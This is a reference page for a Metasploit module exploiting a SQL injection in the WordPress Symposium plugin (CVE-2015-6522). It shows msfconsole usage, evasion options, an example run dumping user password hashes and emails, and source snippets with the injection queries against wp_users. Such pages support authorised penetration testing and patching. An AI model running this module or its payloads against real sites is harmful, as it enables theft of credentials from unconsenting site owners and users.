WordPress Symposium Plugin SQL Injection - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/wp_symposium_sql_injection metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: WordPress Symposium Plugin SQL Injection
Module: auxiliary/admin/http/wp_symposium_sql_injection
Source code: modules/auxiliary/admin/http/wp_symposium_sql_injection.rb
Disclosure date: 2015-08-18
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2015-6522

This module exploits a SQL injection vulnerability in the WP Symposium plugin before 15.8 for WordPress, which allows remote attackers to extract credentials via the size parameter to get_album_item.php.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/wp_symposium_sql_injection
msf auxiliary(wp_symposium_sql_injection) > show targets
    ... a list of targets ...
msf auxiliary(wp_symposium_sql_injection) > set TARGET target-id
msf auxiliary(wp_symposium_sql_injection) > show options
    ... show and set options ...
msf auxiliary(wp_symposium_sql_injection) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


The auxiliary/admin/http/wp_symposium_sql_injection works for WordPress Symposium plugin before 15.8. The Pro module version has not been verified.

To download the vulnerable application, you can find it here: https://github.com/wp-plugins/wp-symposium/archive/15.5.1.zip

Verification Steps


  1. Start msfconsole
  2. Do: use auxiliary/admin/http/wp_symposium_sql_injection
  3. Do: set RHOST <ip>
  4. Set TARGETURI if necessary.
  5. Do: run

Scenarios


Example run against WordPress Symposium plugin 15.5.1:

  msf > use auxiliary/admin/http/wp_symposium_sql_injection
  msf auxiliary(wp_symposium_sql_injection) > show info

         Name: WordPress Symposium Plugin SQL Injection
       Module: auxiliary/admin/http/wp_symposium_sql_injection
      License: Metasploit Framework License (BSD)
         Rank: Normal
    Disclosed: 2015-08-18

  Provided by:
    PizzaHatHacker
    Matteo Cantoni 

  Basic options:
    Name        Current Setting  Required  Description
    ----        ---------------  --------  -----------
    Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
    RHOST                        yes       The target address
    RPORT       80               yes       The target port
    SSL         false            no        Negotiate SSL/TLS for outgoing connections
    TARGETURI   /                yes       The base path to the wordpress application
    URI_PLUGIN  wp-symposium     yes       The WordPress Symposium Plugin URI
    VHOST                        no        HTTP server virtual host

  Description:
    SQL injection vulnerability in the WP Symposium plugin before 15.8
    for WordPress allows remote attackers to execute arbitrary SQL
    commands via the size parameter to get_album_item.php.

  References:
    http://cvedetails.com/cve/2015-6522/
    https://www.exploit-db.com/exploits/37824

  msf auxiliary(wp_symposium_sql_injection) > set RHOST 1.2.3.4
  RHOST => 1.2.3.4
  msf auxiliary(wp_symposium_sql_injection) > set TARGETURI /html/wordpress/
  TARGETURI => /html/wordpress/
  msf auxiliary(wp_symposium_sql_injection) > run

  [+] 1.2.3.4:80 - admin           $P$ByvWm3Hb653Z50DskJVdUcZZbJ03dJ. [email protected]
  [+] 1.2.3.4:80 - pippo           $P$BuTaWvLcEBPseEWONBvihacEqpHa6M/ [email protected]
  [+] 1.2.3.4:80 - pluto           $P$BJAoieYeeCDujy7SPQL1fjDULrtVJ3/ [email protected]
  [*] Auxiliary module execution completed

Go back to menu.

Msfconsole Usage


Here is how the admin/http/wp_symposium_sql_injection auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/wp_symposium_sql_injection

msf6 auxiliary(admin/http/wp_symposium_sql_injection) > show info

       Name: WordPress Symposium Plugin SQL Injection
     Module: auxiliary/admin/http/wp_symposium_sql_injection
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-08-18

Provided by:
  PizzaHatHacker
  Matteo Cantoni <[email protected]>

Check supported:
  Yes

Basic options:
  Name        Current Setting  Required  Description
  ----        ---------------  --------  -----------
  Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT       80               yes       The target port (TCP)
  SSL         false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI   /                yes       The base path to the wordpress application
  URI_PLUGIN  wp-symposium     yes       The WordPress Symposium Plugin URI
  VHOST                        no        HTTP server virtual host

Description:
  This module exploits a SQL injection vulnerability in the WP 
  Symposium plugin before 15.8 for WordPress, which allows remote 
  attackers to extract credentials via the size parameter to 
  get_album_item.php.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2015-6522
  https://www.exploit-db.com/exploits/37824

Module Options


This is a complete list of options available in the admin/http/wp_symposium_sql_injection auxiliary module:

msf6 auxiliary(admin/http/wp_symposium_sql_injection) > show options

Module options (auxiliary/admin/http/wp_symposium_sql_injection):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT       80               yes       The target port (TCP)
   SSL         false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI   /                yes       The base path to the wordpress application
   URI_PLUGIN  wp-symposium     yes       The WordPress Symposium Plugin URI
   VHOST                        no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/wp_symposium_sql_injection auxiliary module:

msf6 auxiliary(admin/http/wp_symposium_sql_injection) > show advanced

Module advanced options (auxiliary/admin/http/wp_symposium_sql_injection):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module
   WPCHECK               true                                                yes       Check if the website is a valid WordPress install
   WPCONTENTDIR          wp-content                                          yes       The name of the wp-content directory

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/wp_symposium_sql_injection module can do:

msf6 auxiliary(admin/http/wp_symposium_sql_injection) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/wp_symposium_sql_injection auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/wp_symposium_sql_injection) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - The host was unreachable!


Here is a relevant code snippet related to the "<PEER> - The host was unreachable!" error message:

56:	      return nil if res.nil? || res.code != 200 || res.body.nil?
57:	
58:	      res.body
59:	
60:	    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
61:	      vprint_error("#{peer} - The host was unreachable!")
62:	      return nil
63:	    end
64:	  end
65:	
66:	  def run

<PEER> - Failed to retrieve the first user id... Try with check function!


Here is a relevant code snippet related to the "<PEER> - Failed to retrieve the first user id... Try with check function!" error message:

66:	  def run
67:	    vprint_status("#{peer} - Attempting to connect...")
68:	    vprint_status("#{peer} - Trying to retrieve the first user id...")
69:	    first_id = send_sql_request('id from wp_users order by id asc limit 1 ; --')
70:	    if first_id.nil?
71:	      vprint_error("#{peer} - Failed to retrieve the first user id... Try with check function!")
72:	      return
73:	    else
74:	      vprint_status("#{peer} - First user-id is '#{first_id}'")
75:	    end
76:	

<PEER> - Failed to retrieve the last user id


Here is a relevant code snippet related to the "<PEER> - Failed to retrieve the last user id" error message:

75:	    end
76:	
77:	    vprint_status("#{peer} - Trying to retrieve the last user id...")
78:	    last_id = send_sql_request('id from wp_users order by id desc limit 1 ; --')
79:	    if last_id.nil?
80:	      vprint_error("#{peer} - Failed to retrieve the last user id")
81:	      return
82:	    else
83:	      vprint_status("#{peer} - Last user-id is '#{last_id}'")
84:	    end
85:	

<PEER> - Failed to retrieve the users info


Here is a relevant code snippet related to the "<PEER> - Failed to retrieve the users info" error message:

89:	    for user_id in first_id..last_id
90:	      separator = Rex::Text.rand_text_numeric(7,bad='0')
91:	      user_info = send_sql_request("concat_ws(#{separator},user_login,user_pass,user_email) from wp_users where id = #{user_id} ; --")
92:	
93:	      if user_info.nil?
94:	        vprint_error("#{peer} - Failed to retrieve the users info")
95:	        return
96:	      else
97:	        values = user_info.split("#{separator}")
98:	
99:	        user_login = values[0]

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • PizzaHatHacker
  • Matteo Cantoni <goony[at]nothink.org>

Version


This page has been produced using Metasploit Framework version 6.1.36-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.